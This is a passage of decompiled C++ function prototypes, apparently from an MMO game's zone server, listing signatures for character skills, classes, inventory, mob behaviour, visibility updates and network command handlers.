ChargedEffectContainer *cec); void __thiscall ItemBoxIterIdent::ItemBoxIterIdent(ItemBoxIterIdent *this, ItemBag *ib, unsigned __int16 ident, ChargedEffectContainer *cec); char __thiscall ItemBoxIterator::ibi_Home(ItemBoxIterator *this); ItemInventoryCell *__thiscall ItemBoxIterator::ibi_Get(ItemBoxIterator *this); ItemInventoryCell *__thiscall InventoryLocking::UnlockedInventoryIterator::uii_Get(InventoryLocking::UnlockedInventoryIterator *this); void __thiscall BriefInformationCharacter::bic_HideMyIdentity(BriefInformationCharacter *this); void __thiscall BriefInformationCharacter::bic_ShowMyIdentity(BriefInformationCharacter *this, ZoneCharData *chardata, char Type, char ElementNo, unsigned __int16 MobID, unsigned int gld); void __thiscall BriefInformationCharacter::bic_SetAnimation(BriefInformationCharacter *this, const char *AnimationIndex); void __thiscall BriefInfoDelete::BriefInfoDelete(BriefInfoDelete *this); void __thiscall BriefInformationAbstate::BriefInformationAbstate(BriefInformationAbstate *this); void __thiscall BriefInformationAbstate::bia_Send(BriefInformationAbstate *this, #593 *dest); int __thiscall ShineObjectClass::ShineObject::so_FieldSightSquar(int this); void __thiscall Parameter::Container::c_clear(int this); int __thiscall Parameter::Container::c_StoreMob(int this, int mobdatabox); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionRoaming::mar_Init(MobTacticElement::MobActionRoaming *this, ShineObjectClass::RoamingInformation *roaminfo); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::BriefInfoExchangeCharacter(BriefInfoExchanger::BriefInfoExchangeCharacter *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::BriefInfoExchangeMob(BriefInfoExchanger::BriefInfoExchangeMob *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(BriefInfoExchanger::BriefInfoExchangeMob *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::BriefInfoExchangeDoor(BriefInfoExchanger::BriefInfoExchangeDoor *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::BriefInfoExchangeEffect(BriefInfoExchanger::BriefInfoExchangeEffect *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::BriefInfoExchangeItem(BriefInfoExchanger::BriefInfoExchangeItem *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::BriefInfoExchangeMagicField(BriefInfoExchanger::BriefInfoExchangeMagicField *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::BriefInfoExchangeMiniHouse(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer::bixaPacketbuffer(BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::_BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(BriefInfoExchanger::BriefInfoExchangeAbstate *this); void __thiscall CalculateBroadcastDistance::CalculateBroadcastDistance(CalculateBroadcastDistance *this); void __thiscall BriefInfoBackup::BriefInfoBackup(BriefInfoBackup *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_FromWhere(void *this, char connectfrom); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetFromWhere(int this); void __thiscall AxialListGhostBan::_AxialListGhostBan(AxialListGhostBan *this); char __thiscall AxialListGhostBan::ali_Work(AxialListGhostBan *this, #593 *, #593 *, unsigned int); void __thiscall Observer::_Observer(Observer *this); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); void __cdecl memorycopy(ShineObjectClass::ShinePlayer::SpeedNotice *a, ShineObjectClass::ShinePlayer::SpeedNotice *b, unsigned __int16 num); char __thiscall ItemBoxIterItem::ibi_isvalid(ItemBoxIterItem *this); char __thiscall ItemBoxIterIdent::ibi_isvalid(ItemBoxIterIdent *this); void __thiscall BriefInformationAbstate::bia_Fill(BriefInformationAbstate *this, #593 *myself); void __thiscall MoveManager::_mm_ReserveHaltState(MoveManager *this); void __thiscall ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_2Roumen(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_RideInitialize(void *ecx0); void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponSpeedSet(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet(void *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Send(BriefInfoExchanger::BriefInfoExchangeCharacter *this, #593 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Send(BriefInfoExchanger::BriefInfoExchangeMob *this, #593 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Send(BriefInfoExchanger::BriefInfoExchangeDoor *this, #593 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Send(BriefInfoExchanger::BriefInfoExchangeEffect *this, #593 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::bixi_Send(BriefInfoExchanger::BriefInfoExchangeItem *this, #593 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Send(BriefInfoExchanger::BriefInfoExchangeMagicField *this, #593 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Send(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this, #593 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(BriefInfoExchanger::BriefInfoExchangeAbstate *this, #593 *center); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo(void *this, int equcell, int slot); unsigned int __thiscall CalculateBroadcastDistance::cbd_DistanceSquar(CalculateBroadcastDistance *this, #593 *center); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_PW(void *this, const char *arg); void __thiscall ShineObjectClass::ShinePlayer::sp_MakeMiniHouse(void *this); void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_ConnectFromWhere(void *this); void __thiscall WorldManagerSession::wms_NC_MISC_CONNECTFROMWHERE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_GhostBan(void *this); void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponRangeSet(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponRangeSet(void *this); void *__thiscall Observer::_vector_deleting_destructor_(Observer *this, unsigned int); void __thiscall std::_Tree_std::allocator>_1>>::_Lrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,0> >::const_iterator *this); void __thiscall std::_Tree_std::allocator>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,0> >::const_iterator *this); Observer *__cdecl std::_Copy_opt(Observer *_First, Observer *_Last, Observer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); Observer *__cdecl std::_Copy_backward_opt(Observer *_First, Observer *_Last, Observer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); MobAttackSequence::AttackElement4Mob *__thiscall MobAttackSequence::mas_Find(MobAttackSequence *this, unsigned __int16 mobid); void __thiscall MoveManager::mm_Halt(MoveManager *this); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineDoor::so_door_Build(ShineObjectClass::ShineDoor *this, Name3 *pmap, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, int scale); void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ(void *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Obj2Center(BriefInfoExchanger::BriefInfoExchangeCharacter *this, #593 *, #593 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Exchange(BriefInfoExchanger::BriefInfoExchangeCharacter *this, #593 *, #593 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Exchange(BriefInfoExchanger::BriefInfoExchangeMob *this, #593 *, #593 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Exchange(BriefInfoExchanger::BriefInfoExchangeDoor *this, #593 *, #593 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Exchange(BriefInfoExchanger::BriefInfoExchangeEffect *this, #593 *, #593 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::bixi_Exchange(BriefInfoExchanger::BriefInfoExchangeItem *this, #593 *, #593 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Exchange(BriefInfoExchanger::BriefInfoExchangeMagicField *this, #593 *, #593 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Obj2Center(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this, #593 *, #593 *); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Exchange(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this, #593 *, #593 *); char __thiscall ShineObjectClass::ShineObject::so_GatherMiniHouseInform(#593 *this, #593 *, unsigned int); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Exchange(BriefInfoExchanger::BriefInfoExchangeAbstate *this, #593 *, #593 *); void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveField(void *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); void __cdecl std::fill(Observer *_First, Observer *_Last, Observer *_Val); Observer *__cdecl std::_Uninit_copy>::iterator_Observer___std::allocator>(Observer *_First, Observer *_Last, Observer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall ShineObjectClass::ShinePlayer::sp_LoginInit(void *this); char __thiscall ShineObjectClass::ShineObject::so_GatherPlayerInform(#593 *this, #593 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD(void *center, int netcmd, int len, __int16 handle); void __cdecl std::_Uninit_fill_n>(Observer *_First, unsigned int _Count, Observer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); int std::_Tree>_std::less_std::allocator>>>_0>>::find(...); void __thiscall std::vector>::_Destroy(std::vector > *this, Observer *_First, Observer *_Last); void __thiscall AxialListCameraMove::_AxialListCameraMove(AxialListCameraMove *this); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); Observer *__thiscall std::vector>::_Ufill(std::vector > *this, Observer *_Ptr, unsigned int _Count, Observer *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Observer *_Val); std::pair,std::allocator >,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::pair,std::allocator >,0> >::iterator,bool> *result, std::pair *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, #593 *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Observer _Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where, std::pair *_Val); void __thiscall AxialListCameraMove::AxialListCameraMove(AxialListCameraMove *this, SHINE_XY_TYPE Center, unsigned int Range); void __thiscall std::vector>::push_back(std::vector > *this); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize); LuaScriptScenario **__thiscall std::map_std::allocator>>::operator__(std::map,std::allocator > > *this, const unsigned __int16 *_Keyval); char __thiscall ShineObjectClass::ShineObject::so_ExchageBriefInfo(#593 *this, #593 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_AdeliaMap_ReSetSendMyBriefInfo(void *me); char __thiscall AxialListCameraMove::ali_Work(AxialListCameraMove *this, #593 *, #593 *, unsigned int); char __thiscall AxialListCameraMove::alcm_SendBriefInfo(AxialListCameraMove *this); void __thiscall ShineObjectClass::ShineObject::so_CameraMoveSendBriefInfo(void *this, SHINE_XY_TYPE Center, unsigned int Range); void __thiscall ShineObjectClass::ShineDoor::so_door_BuildComplete(ShineObjectClass::ShineDoor *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineEffectObject::so_effect_BlastComplete(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineMob::so_mob_RegenComplete(void *this, std::_Tree >,std::less,std::allocator > > > handle); void __thiscall ShineObjectClass::ShineNPC::so_mob_RegenComplete(ShineObjectClass::ShineNPC *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShineServant::so_mob_RegenComplete(ShineObjectClass::ShineServant *this, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD(void *this, int netcmd, int LimitTime, __int16 handle); void *__thiscall CallBackEvent::_vector_deleting_destructor_(CallBackEvent *this, unsigned int); void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, Name3 *pServeName, Name3 *pClientName, int nPosX, int nPosY); void *__thiscall RollBackPosCallBackEvent::_scalar_deleting_destructor_(RollBackPosCallBackEvent *this, unsigned int); void __thiscall RollBackPosCallBackEvent::_RollBackPosCallBackEvent(RollBackPosCallBackEvent *this); void __thiscall RollBackPosCallBackEvent::doEventRun(RollBackPosCallBackEvent *this, #593 *pObject); NPCManager::LinkInformTemplete *__thiscall RollBackPosCallBackEvent::GetLinkData(RollBackPosCallBackEvent *this); void __thiscall RollBackPosCallBackEvent::RollBackPosCallBackEvent(RollBackPosCallBackEvent *this, #593 *pTargetObject); GatherProduce::RecipeBook::ProductIndex *__thiscall GatherProduce::RecipeBook::operator__(GatherProduce::RecipeBook *this, unsigned __int16 skl); bool __cdecl CharaterSkillList::CharSkill::cs_Compare_STLVer(CharaterSkillList::CharSkill *rLhw, CharaterSkillList::CharSkill *rRhw); char __thiscall CharaterSkillList::csl_Toggle_CanUseSkill_WeaponType(CharaterSkillList *this, SkillDataBox::SkillDataIndex *pSkillIdx, unsigned __int16 nWeaponID); void __thiscall PassiveMasteryVariable::PassiveMasteryVariable(PassiveMasteryVariable *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __cdecl std::fill(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Val); CharaterSkillList::CharSkill *__cdecl std::_Copy_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); CharaterSkillList::CharSkill *__cdecl std::_Copy_backward_opt(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::swap(CharaterSkillList::CharSkill *_Left, CharaterSkillList::CharSkill *_Right); char __thiscall CharacterPassiveList::cpl_PreSkillCheck(CharacterPassiveList *this, #734 *, const char *); void __thiscall CharacterPassiveList::cpl_RecalcParam(CharacterPassiveList *this, ItemBag *param); CharaterSkillList::CharSkill *__cdecl std::_Uninit_copy>(CharaterSkillList::CharSkill *_First, CharaterSkillList::CharSkill *_Last, CharaterSkillList::CharSkill *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Push_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Top, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, int *__formal, CharaterSkillList::CharSkill *__formal); void __thiscall std::list>::clear(std::list,std::allocator > > *this); std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this, std::_List_nod >::_Node *_Next, std::_List_nod >::_Node *_Prev, PassiveDataBox::PSSetAbstateIndex *const *_Val); void __cdecl std::_Median>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Bottom, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Pop_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal); int __thiscall CharaterSkillList::csl_EmpowerSummary(CharaterSkillList *this); void __thiscall CharaterSkillList::csl_EmpowerClear(CharaterSkillList *this); int __thiscall CharaterSkillList::csl_FillSendBuffer_Server(CharaterSkillList *this, PROTO_NC_CHARSAVE_SKILL_REQ *pBuf, int nStartNum, int ServerType); int __thiscall CharaterSkillList::csl_FillSendBuffer_Client(CharaterSkillList *this, PROTO_NC_CHAR_SKILLCLIENT_CMD *pBuf, int nStartNum, unsigned __int16 *nMaxNum); char __thiscall CharaterSkillList::csl_Toggle_CanUseSkill(CharaterSkillList *this, SkillDataBox::SkillDataIndex *pSkillIdx, #593 *pCaster); void __thiscall CharacterPassiveList::cpl_SetAbstate(CharacterPassiveList *this, PS_ConditionEnum nCondition, #593 *pCaster, #593 *pTarget, char BParam, unsigned int DParam); std::vector >::iterator *__cdecl std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, CharaterSkillList::CharSkill *_Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal); std::pair >::iterator,std::vector >::iterator> *__cdecl std::_Unguarded_partition>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::pair >::iterator,std::vector >::iterator> *result, std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __cdecl std::_Make_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal, CharaterSkillList::CharSkill *__formal); CharaterSkillList::CharacterToggleSkill *__thiscall CharaterSkillList::csl_Toggle_GetToggleSkill(CharaterSkillList *this, unsigned __int16 nSkillID); char __thiscall CharaterSkillList::csl_Toggle_IsOn(CharaterSkillList *this, unsigned __int16 nSkillID); void __thiscall CharacterPassiveList::_CharacterPassiveList(CharacterPassiveList *this); CharaterSkillList::CharSkill *__thiscall std::vector>::_Ufill(std::vector > *this, CharaterSkillList::CharSkill *_Ptr, unsigned int _Count, CharaterSkillList::CharSkill *_Val); void __cdecl std::_Insertion_sort>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __thiscall SkillDataBox::SkillDataIndex::_SkillDataIndex(SkillDataBox::SkillDataIndex *this); CharaterSkillList::CharSkill *__thiscall CharaterSkillList::csl_GetSkillStruct(CharaterSkillList *this, unsigned __int16 skl); char __thiscall CharaterSkillList::csl_IsLearn(CharaterSkillList *this, unsigned __int16 skill); void __thiscall CharaterSkillList::csl_AddMastery(CharaterSkillList *this, #734 *, unsigned __int16, int); char __thiscall CharaterSkillList::csl_UpdateCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int eoct); void __thiscall CharacterPassiveList::CharacterPassiveList(CharacterPassiveList *this); void __cdecl std::sort_heap>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); char __thiscall CharaterSkillList::csl_PreSkillCheck(CharaterSkillList *this, #734 *, const char *); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CharaterSkillList::CharSkill *_Val); void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count); void __cdecl std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, int _Ideal, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)); void __thiscall CharaterSkillList::_CharaterSkillList(CharaterSkillList *this); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L177504(int a1); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, CharaterSkillList::CharSkill _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, CharaterSkillList::CharSkill *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CharaterSkillList::CharacterToggleSkill *_Val); void __thiscall std::vector>::push_back(std::vector > *this, CharaterSkillList::CharSkill *_Val); void __thiscall SkillDataBox::SkillDataIndex::SkillDataIndex(SkillDataBox::SkillDataIndex *this); void __thiscall CharaterSkillList::CharaterSkillList(CharaterSkillList *this); void __thiscall CharaterSkillList::csl_CheckDefSkill(CharaterSkillList *this); void __thiscall CharacterPassiveList::cpl_StoreSetAbstateList(CharacterPassiveList *this, unsigned __int16 nSkillID); void __thiscall std::vector>::push_back(std::vector > *this, CharaterSkillList::CharacterToggleSkill *_Val); SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::operator__(SkillDataBox *this, unsigned __int16 sub); unsigned __int16 __thiscall CharaterSkillList::csl_MaximumSkill(CharaterSkillList *this, unsigned __int16 skill); void __thiscall CharaterSkillList::csl_EmpowerStruct(CharaterSkillList *this, unsigned __int16 skill, SKILL_EMPOWER *empower); char __thiscall CharaterSkillList::csl_EmpowerAlloc(CharaterSkillList *this, PROTO_NC_SKILL_EMPOWALLOC_REQ *empalloc, SKILL_EMPOWER *empowresult); int __thiscall CharaterSkillList::csl_GetDelayGroup(CharaterSkillList *this, unsigned __int16 skill, int *millisec); void __thiscall CharaterSkillList::csl_SetCoolTime(CharaterSkillList *this, unsigned __int16 skill, unsigned int cooltime_milli, int delaygroupnum, unsigned int delaygroupcooltime_milli, int empowdiscount); void __thiscall CharaterSkillList::csl_Toggle_Store(CharaterSkillList *this, unsigned __int16 nSkillID); void __thiscall CharaterSkillList::csl_Toggle_SetOnOff(CharaterSkillList *this, unsigned __int16 nSkillID, char bOn); void __thiscall CharaterSkillList::csl_Toggle_CheckOnOff(CharaterSkillList *this, #593 *pCaster); void __thiscall CharaterSkillList::csl_Toggle_AllOff(CharaterSkillList *this, #593 *pCaster); void __thiscall CharaterSkillList::csl_DmgCoolTimeDown(CharaterSkillList *this); void __thiscall CharacterPassiveList::psl_Store(CharacterPassiveList *this, unsigned __int16 skill, Name4 *name); void __thiscall CharacterPassiveList::cpl_Store(CharacterPassiveList *this, PROTO_NC_CHAR_SKILL_PASSIVE_CMD *data, Name4 *name); void __thiscall CharaterSkillList::csl_Store(CharaterSkillList *this, PROTO_NC_CHAR_SKILL_CMD *charskill); AttackRhythm::AttackRhythmBase *__thiscall CharClass::cc_AttackRhythm(CharClass *this); char __thiscall CharClass::cc_CanNormalAttack(CharClass *this, #593 *target); int __thiscall CharClassMob::cc_ClassType(CharClassMob *this); AttackRhythm::AttackRhythmBase *__thiscall CharClassMob::cc_AttackRhythm(CharClassMob *this); int __thiscall CharClassMob::MaxHP(CharClassMob *this, #593 *obj); bool __thiscall CharClassCleverFighter::cc_IsDescendantsOf(CharClassCleverFighter *this, int classType); bool __thiscall CharClassWarrior::cc_IsDescendantsOf(CharClassWarrior *this, int classType); bool __thiscall CharClassGladiator::cc_IsDescendantsOf(CharClassKnight *this, int classType); bool __thiscall CharClassHighCleric::cc_IsDescendantsOf(CharClassHighCleric *this, int classType); bool __thiscall CharClassPaladin::cc_IsDescendantsOf(CharClassPaladin *this, int classType); bool __thiscall CharClassHolyKnight::cc_IsDescendantsOf(CharClassGuardian *this, int classType); AttackRhythm::AttackRhythmBase *__thiscall CharClassArchar::cc_AttackRhythm(CharClassArchar *this); bool __thiscall CharClassHawkArcher::cc_IsDescendantsOf(CharClassHawkArcher *this, int classType); int __thiscall CharClassHawkArcher::cc_PromoteClass(ItemAttrCls_BindItem *this); bool __thiscall CharClassScout::cc_IsDescendantsOf(CharClassScout *this, int classType); bool __thiscall CharClassRanger::cc_IsDescendantsOf(CharClassRanger *this, int classType); void __thiscall CharClassMage::cc_JustAfterSkill(CharClassMage *this, #615 *ply); bool __thiscall CharClassWizMage::cc_IsDescendantsOf(CharClassWizMage *this, int classType); bool __thiscall CharClassEnchanter::cc_IsDescendantsOf(CharClassEnchanter *this, int classType); void __thiscall CharClassWizMage::_CharClassWizMage(CharClassAssassin *this); bool __thiscall CharClassWarrock::cc_IsDescendantsOf(CharClassWizard *this, int classType); bool __thiscall CharClassChaser::cc_IsDescendantsOf(CharClassChaser *this, int classType); bool __thiscall CharClassCruel::cc_IsDescendantsOf(CharClassCruel *this, int classType); bool __thiscall CharClassAssassin::cc_IsDescendantsOf(CharClassAssassin *this, int classType); long double __cdecl GetTotalRate(int *, int, float); int __thiscall CharClass::MaxHP(CharClass *this, #593 *obj); int __thiscall CharClass::MaxSP(CharClass *this, #593 *obj); void __thiscall CharClassManager::CharClassManager(CharClassManager *this); void __thiscall CharClassManager::_CharClassManager(CharClassManager *this); void __thiscall CharClass::cc_Load(CharClass *this, Name4 *world, char *txt); void __thiscall CharClassManager::ccm_Load(CharClassManager *this, Name4 *world); int __thiscall CharClassFighter::ProfessionWC(CharClassFighter *this, #593 *, char); int __thiscall CharClassCleric::ProfessionWC(CharClassCleric *this, #593 *, char); int __thiscall CharClassArchar::ProfessionWC(CharClassJoker *this, #593 *, char); int __thiscall CharClassMage::ProfessionMA(CharClassMage *this, #593 *, char); CharClass *__thiscall CharClassManager::operator__(CharClassManager *this, char cc); void __stdcall ShineObjectClass::ShineObject::so_SetRegistNumber(int regnum); int __thiscall ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(int this); void __thiscall ShineObjectClass::ShineObject::so_LostSP(ItemAttributeClass *this, ItemTotalInformation *itm); int __thiscall ShineObjectClass::ShinePlayer::so_CharDispositionData(int this, int data); void __thiscall ShineObjectClass::ShinePlayer::so_SpamRecvDataFromWM(void *this, int Data); void __thiscall WorldManagerSession::wms_NC_CHAR_REGISTNUMBER_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_BASE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall PROTO_NC_CHAR_BASE_CMD::operator_(int this, int a2); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_SHAPE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall 